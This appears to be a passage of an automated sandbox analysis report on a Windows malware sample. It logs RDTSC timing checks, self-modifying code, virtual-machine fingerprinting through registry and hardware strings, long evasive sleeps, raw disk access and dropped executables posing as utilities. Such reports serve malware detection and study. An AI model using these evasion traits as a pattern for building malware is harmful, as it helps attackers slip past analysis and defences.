                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90B30 second address: 4D90B9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b jmp 00007FE2B0E330DAh 0x00000010 lea eax, dword ptr [ebx+70h] 0x00000013 jmp 00007FE2B0E330E0h 0x00000018 push 00000001h 0x0000001a pushad 0x0000001b mov dx, si 0x0000001e pushfd 0x0000001f jmp 00007FE2B0E330DAh 0x00000024 adc eax, 772FC7C8h 0x0000002a jmp 00007FE2B0E330DBh 0x0000002f popfd 0x00000030 popad 0x00000031 nop 0x00000032 jmp 00007FE2B0E330E6h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90B9A second address: 4D90BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90C89 second address: 4D90C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90C8D second address: 4D90D34 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE2B0E6B88Dh 0x00000008 xor ax, 6286h 0x0000000d jmp 00007FE2B0E6B891h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov edi, eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE2B0E6B88Ch 0x0000001f and ah, 00000028h 0x00000022 jmp 00007FE2B0E6B88Bh 0x00000027 popfd 0x00000028 popad 0x00000029 test edi, edi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FE2B0E6B88Bh 0x00000032 and ecx, 0D14966Eh 0x00000038 jmp 00007FE2B0E6B899h 0x0000003d popfd 0x0000003e mov ebx, eax 0x00000040 popad 0x00000041 js 00007FE3217DA22Ch 0x00000047 pushad 0x00000048 mov ax, F2EFh 0x0000004c jmp 00007FE2B0E6B894h 0x00000051 popad 0x00000052 mov eax, dword ptr [ebp-14h] 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov eax, edi 0x0000005a mov ecx, ebx 0x0000005c popad 0x0000005d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90D34 second address: 4D90D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE2B0E330E1h 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90D49 second address: 4D90D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90D4D second address: 4D90D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE2B0E330E8h 0x00000011 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90D71 second address: 4D90E24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edi, 43B4F7A2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+0Ch], eax 0x00000010 pushad 0x00000011 movsx edx, ax 0x00000014 mov edi, esi 0x00000016 popad 0x00000017 mov edx, 757806ECh 0x0000001c pushad 0x0000001d movzx esi, bx 0x00000020 mov esi, edx 0x00000022 popad 0x00000023 mov eax, 00000000h 0x00000028 jmp 00007FE2B0E6B88Ch 0x0000002d lock cmpxchg dword ptr [edx], ecx 0x00000031 pushad 0x00000032 push ecx 0x00000033 mov cx, di 0x00000036 pop edi 0x00000037 jmp 00007FE2B0E6B896h 0x0000003c popad 0x0000003d pop edi 0x0000003e jmp 00007FE2B0E6B890h 0x00000043 test eax, eax 0x00000045 jmp 00007FE2B0E6B890h 0x0000004a jne 00007FE3217DA179h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov ecx, ebx 0x00000055 pushfd 0x00000056 jmp 00007FE2B0E6B899h 0x0000005b xor al, 00000046h 0x0000005e jmp 00007FE2B0E6B891h 0x00000063 popfd 0x00000064 popad 0x00000065 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90E24 second address: 4D90E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90E2A second address: 4D90E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f popad 0x00000010 mov eax, dword ptr [esi] 0x00000012 jmp 00007FE2B0E6B893h 0x00000017 mov dword ptr [edx], eax 0x00000019 jmp 00007FE2B0E6B896h 0x0000001e mov eax, dword ptr [esi+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov cx, dx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90E72 second address: 4D90E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90E77 second address: 4D90E7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90E7D second address: 4D90E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90E81 second address: 4D90ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+04h], eax 0x0000000b pushad 0x0000000c call 00007FE2B0E6B898h 0x00000011 call 00007FE2B0E6B892h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 mov bl, ch 0x0000001a popad 0x0000001b mov eax, dword ptr [esi+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FE2B0E6B896h 0x00000025 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D90ED7 second address: 4D90F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+08h], eax 0x0000000c jmp 00007FE2B0E330E6h 0x00000011 mov eax, dword ptr [esi+0Ch] 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 8259D9 instructions caused by: Self-modifying code
                  Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 825A8F instructions caused by: Self-modifying code
                  Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 9D59AE instructions caused by: Self-modifying code
                  Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 82337E instructions caused by: Self-modifying code
                  Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 9DAEE4 instructions caused by: Self-modifying code
                  Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: A5B4EF instructions caused by: Self-modifying code
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeMemory allocated: 1530000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeMemory allocated: 1B300000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
                  Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
                  Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,15_2_00401B4B
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: LoadLibraryA,GetProcAddress,GetAdaptersInfo,FreeLibrary,15_2_02D8E99C
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow / User API: threadDelayed 1061Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow / User API: threadDelayed 1083Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow / User API: threadDelayed 1157Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow / User API: threadDelayed 1126Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow / User API: threadDelayed 1055Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exeJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-4LK4F.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\is-BD8Q6.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcr71.dll (copy)Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Bunifu_UI_v1.5.3.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\LTDIS13n.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_iscrypt.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcp71.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-OQPMB.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\gdiplus.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2UQRT.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\ltkrn13n.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-HMRND.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_setup64.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-P1KGP.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-N7369.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_shfoldr.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\unins000.exe (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2QCNJ.tmpJump to dropped file
                  Source: C:\Users\user\Desktop\file.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]Jump to dropped file
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_11-5540
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeEvasive API call chain: GetModuleFileName,DecisionNodes,Sleepgraph_15-61871
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeAPI coverage: 5.0 %
                  Source: C:\Users\user\Desktop\file.exe TID: 1104Thread sleep count: 49 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 1104Thread sleep time: -98049s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 3444Thread sleep count: 122 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 3444Thread sleep count: 161 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 3444Thread sleep count: 118 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 1180Thread sleep count: 1061 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 1180Thread sleep time: -2123061s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 3444Thread sleep count: 175 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 3444Thread sleep count: 62 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 7220Thread sleep time: -36000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 2704Thread sleep count: 1083 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 2704Thread sleep time: -2167083s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 1792Thread sleep count: 1157 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 1792Thread sleep time: -2315157s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 2004Thread sleep count: 1126 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 2004Thread sleep time: -2253126s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 6544Thread sleep count: 1055 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\file.exe TID: 6544Thread sleep time: -2111055s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe TID: 7856Thread sleep time: -58000s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe TID: 3080Thread sleep time: -120000s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe TID: 7936Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile Volume queried: C:\Windows\System32 FullSizeInformationJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00452A60 FindFirstFileA,GetLastError,12_2_00452A60
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00474DFC FindFirstFileA,FindNextFileA,FindClose,12_2_00474DFC
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004625C4 FindFirstFileA,FindNextFileA,FindClose,12_2_004625C4
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00463B50 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,12_2_00463B50
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00497C14 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,12_2_00497C14
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00463FCC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,12_2_00463FCC
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00409B30 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,11_2_00409B30
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeThread delayed: delay time: 60000Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: Amcache.hve.19.drBinary or memory string: VMware
                  Source: svchost.exe, 00000015.00000002.2536272490.00000235C2429000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@\I
                  Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ?VMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92
                  Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E8C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@\??\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C6000c2943ac4b95c9680c61f588ab2de|Virtual disk |VMware
                  Source: Amcache.hve.19.drBinary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
                  Source: videominimizer2.exe, 0000000F.00000002.2538388416.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, videominimizer2.exe, 0000000F.00000002.2534981373.0000000000987000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536789222.00000235C24A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2536500841.00000235C248F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: svchost.exe, 00000002.00000002.2535467553.00000199E7E64000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000e1}
                  Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E89000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
                  Source: Amcache.hve.19.drBinary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
                  Source: Amcache.hve.19.drBinary or memory string: vmci.sys
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
                  Source: Amcache.hve.19.drBinary or memory string: VMware20,1
                  Source: Amcache.hve.19.drBinary or memory string: Microsoft Hyper-V Generation Counter
                  Source: Amcache.hve.19.drBinary or memory string: NECVMWar VMware SATA CD00
                  Source: Amcache.hve.19.drBinary or memory string: VMware Virtual disk SCSI Disk Device
                  Source: Amcache.hve.19.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
                  Source: Amcache.hve.19.drBinary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
                  Source: Amcache.hve.19.drBinary or memory string: VMware PCI VMCI Bus Device
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware
                  Source: Amcache.hve.19.drBinary or memory string: VMware VMCI Bus Device
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SVGA IIES1371
                  Source: Amcache.hve.19.drBinary or memory string: VMware Virtual RAM
                  Source: Amcache.hve.19.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
                  Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6000c2943ac4b95c9680c61f588ab2de|Virtual disk |VMware
                  Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E8C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: Amcache.hve.19.drBinary or memory string: vmci.inf_amd64_68ed49469341f563
                  Source: Amcache.hve.19.drBinary or memory string: VMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92
                  Source: Amcache.hve.19.drBinary or memory string: VMware Virtual USB Mouse
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92VMware20,1
                  Source: Amcache.hve.19.drBinary or memory string: vmci.syshbin
                  Source: Amcache.hve.19.drBinary or memory string: VMware, Inc.
                  Source: svchost.exe, 00000002.00000002.2535034199.00000199E7E50000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: Amcache.hve.19.drBinary or memory string: VMware20,1hbin@
                  Source: Amcache.hve.19.drBinary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
                  Source: Amcache.hve.19.drBinary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
                  Source: svchost.exe, 00000002.00000002.2535467553.00000199E7E64000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:#p
                  Source: Amcache.hve.19.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
                  Source: svchost.exe, 00000002.00000002.2535672192.00000199E7E8C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@\\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: svchost.exe, 00000002.00000002.2534838410.00000199E7E2B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                  Source: Amcache.hve.19.drBinary or memory string: c:/windows/system32/drivers/vmci.sys
                  Source: Amcache.hve.19.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
                  Source: Amcache.hve.19.drBinary or memory string: vmci.syshbin`
                  Source: Amcache.hve.19.drBinary or memory string: \driver\vmci,\driver\pci
                  Source: Amcache.hve.19.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual disk 2.0 6000c2943ac4b95c9680c61f588ab2de$
                  Source: Amcache.hve.19.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
                  Source: svchost.exe, 00000015.00000002.2538370198.00000235C3413000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMWare
                  Source: svchost.exe, 00000002.00000002.2534253451.00000199E7E02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
                  Source: svchost.exe, 00000003.00000003.2161913808.0000023F73F2C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual disk 2.0 6000c2943ac4b95c9680c61f588ab2de
                  Source: svchost.exe, 00000003.00000003.2150091492.0000023F74010000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk
